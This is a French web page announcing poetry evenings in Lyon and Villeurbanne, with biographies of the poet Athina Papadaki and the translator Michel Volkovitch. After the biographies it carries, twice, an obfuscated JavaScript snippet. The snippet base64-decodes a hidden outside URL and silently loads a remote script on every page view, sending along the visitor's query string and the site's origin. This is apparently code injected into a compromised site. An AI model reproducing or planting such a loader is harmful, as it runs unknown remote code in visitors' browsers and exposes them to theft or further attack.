Dans le cadre du Printemps des poètes sur le thème « les voix du Poème », nous vous proposons : Les 12, 13, et 14 mars à 20h,
soirées internationales de poésie, « Passeurs d’Europe». Cette année nous rendons hommage au grand poète épique Homère avec l’Odyssée. Lors de ces soirées, neuf poèmes européens sont mis à
l’honneur, il s’agit de poèmes qui s’inscrivent dans différentes traditions: l’oralité des origines de la poésie avec Homère, la musicalité de la langue poétique, la poésie populaire et celle
porte-voix d’un peuple engagé… Entrée libre dans la limite des places disponibles.
Réservation au 04 78 62 89 42
Théâtre des Asphodèles
17 impasse Saint-Eusèbe 69003 Lyon
Bus C9 ou C11, arrêt Maisons Neuves
stations Vélo’v
Le samedi 16 mars à 18h la poétesse Athina PAPADAKI (biographie ci-dessous) venue de Grèce pour l’événement et
son traducteur Michel Volkovitch animeront une soirée de poésie exceptionnelle à l’INSA organisée en partenariat avec le Service Culturel de l’INSA.
– Les comédiennes Elisabeth Diamantidis et Maria Saltiri réciteront les poèmes en français et en grec.
– Intermèdes musicaux interprétés par la pianiste Ivi Ntali.
INSA, amphithéâtre René Char avenue Jean Capelle et rue des Humanités 69100 Villeurbanne
(Tram: T1 direction : IUT-Feyssine, arrêt : A. Einstein)
Entrée libre
Αthina PAPADAKI est née à Athènes. Elle est diplômée en Sciences Politiques et travaille en tant que journaliste. Ses poèmes sont traduits en plusieurs langues. Elle a reçu le Prix de l’Académie Grecque en 2011 pour le recueil de poésie « Avec lanterne et loups », aux Editions Neda. Elle est membre de la Société des Ecrivains et de la Société des Journalistes Grecs. Ses œuvres en français : Poèmes, édition bilingue, aux Éditions Desmos/Cahiers grecs, 2000 de l’anthologie Poètes grecs du 21e siècle, aux Éditions publie.net, 2013 (à paraître). Ses œuvres en Grec : Poésie, récits, anthologie et livres pour enfants.
Michel Volkovitch est né en 1947 à Paris. Études de lettres et d’anglais. Enseigne la traduction littéraire à Paris et Bruxelles. A traduit des prosateurs (Taktsis, Hadzis, Cheimonas, Koumandarèas, Ioànnou, Hàkkas, Mìssios, Karystiàni, Zatèli, Sotiropoulos, Màrkaris…), des auteurs de théâtre (Anagnostàki, Dimitriàdis, Maniòtis, Kaloyeropoùlou…) et plus de cent poètes (Sakhtoùris, Dimoula, Papadìtsas, Sinòpoulos, Patrìkios, Karoùzos, Liondàkis, Fostièris, Ganas, Pascàlis…) ainsi que des chants populaires et des chansons rebètika. Il est l’auteur de plusieurs anthologies de la poésie grecque contemporaine. Il a publié la série des Cahiers grecs consacrée à la poésie. Il a reçu le prix de traduction poétique Nelly-Sachs en 1996 et quatre autres prix de traduction.
(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();